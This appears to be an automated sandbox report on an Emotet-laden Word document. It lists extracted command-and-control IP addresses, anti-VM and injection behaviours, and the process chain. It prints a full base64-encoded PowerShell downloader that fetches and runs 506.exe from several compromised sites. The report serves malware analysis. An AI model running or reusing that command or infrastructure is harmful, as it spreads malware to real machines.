Task
task1
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc
Resource
win7
Task
task2
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc
Resource
win10
General
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Target
Docs_129a4380ebaff7cfc82bfe05e7d282ff.1
-
Sample
191016-3cr9crq32s
-
SHA256
012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45
Malware Config
Extracted
emotet
181.59.253.20:21
14.160.93.230:80
74.208.68.48:8080
104.131.58.132:8080
68.183.190.199:8080
62.75.143.100:7080
159.203.204.126:8080
151.80.142.33:80
123.168.4.66:22
46.28.111.142:7080
46.101.212.195:8080
183.82.97.25:80
190.10.194.42:8080
217.199.160.224:8080
186.1.41.111:443
185.86.148.222:8080
185.187.198.10:8080
200.57.102.71:8443
114.79.134.129:443
80.85.87.122:8080
87.106.77.40:7080
186.0.95.172:80
190.230.60.129:80
125.99.61.162:7080
142.93.82.57:8080
77.55.211.77:8080
178.79.163.131:8080
82.196.15.205:8080
139.5.237.27:443
178.249.187.151:8080
46.41.151.103:8080
71.244.60.230:7080
190.221.50.210:8080
212.71.237.140:8080
200.51.94.251:143
50.28.51.143:8080
77.245.101.134:8080
88.250.223.190:8080
190.230.60.129:80
181.36.42.205:443
86.42.166.147:80
190.97.30.167:990
189.166.68.89:443
110.36.234.146:80
170.84.133.72:7080
190.1.37.125:443
76.69.29.42:80
62.75.160.178:8080
91.205.215.57:7080
119.92.51.40:8080
190.38.14.52:80
109.104.79.48:8080
5.196.35.138:7080
119.59.124.163:8080
181.188.149.134:80
79.129.0.173:8080
46.29.183.211:8080
91.83.93.124:7080
189.160.49.234:8443
119.159.150.176:443
149.62.173.247:8080
71.244.60.231:7080
68.183.170.114:8080
81.169.140.14:443
138.68.106.4:7080
46.163.144.228:80
184.69.214.94:20
190.104.253.234:990
79.143.182.254:8080
51.15.8.192:8080
109.169.86.13:8080
181.29.101.13:8080
187.188.166.192:80
201.199.93.30:443
201.163.74.202:443
94.183.71.206:7080
5.1.86.195:8080
203.25.159.3:8080
181.44.166.242:80
200.58.171.51:80
181.143.101.18:8080
190.85.152.186:8080
170.84.133.72:8443
190.230.60.129:8080
89.188.124.145:443
Signatures
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Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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Processes:
WINWORD.EXEat description ioc process 19391 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 19532 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 25313 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc WINWORD.EXE 26375 File created C:\Users\Admin\AppData\Local\Temp\~$cs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
SppExtComObj.exepowershell.exe506.exetabletmspterm.exeat description process target process 24391 PID 3720 wrote to memory of 1308 SppExtComObj.exe SLUI.exe 52563 PID 2836 wrote to memory of 3344 powershell.exe 506.exe 52860 PID 3344 wrote to memory of 2064 506.exe 506.exe 60532 PID 3328 wrote to memory of 4088 tabletmspterm.exe tabletmspterm.exe -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 25078 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 25078 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEat description ioc process 25094 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 25094 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 25094 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 25094 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 25094 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 25094 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 25094 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of FindShellTrayWindow
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Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exeat description process 41875 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
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Executes dropped EXE
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Processes:
506.exedescription ioc process Event created Global\E145925EC 506.exe -
Suspicious behavior: EmotetMutantsSpam
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Drops file in system dir 6 IoCs
Processes:
506.exetabletmspterm.exeat description ioc process 57985 File renamed C:\Users\Admin\506.exe => C:\Windows\SysWOW64\tabletmspterm.exe 506.exe 76094 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe 81282 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 tabletmspterm.exe 81282 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE tabletmspterm.exe 81282 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies tabletmspterm.exe 81297 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 tabletmspterm.exe -
emotet family
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.1.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:976
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3720
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:1308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:2836
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C:\Users\Admin\506.exe"C:\Users\Admin\506.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3344
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C:\Users\Admin\506.exe--dec732191⤵
- Emotet Sync
- Drops file in system dir
PID:2064
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C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3328
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C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Drops file in system dir
PID:4088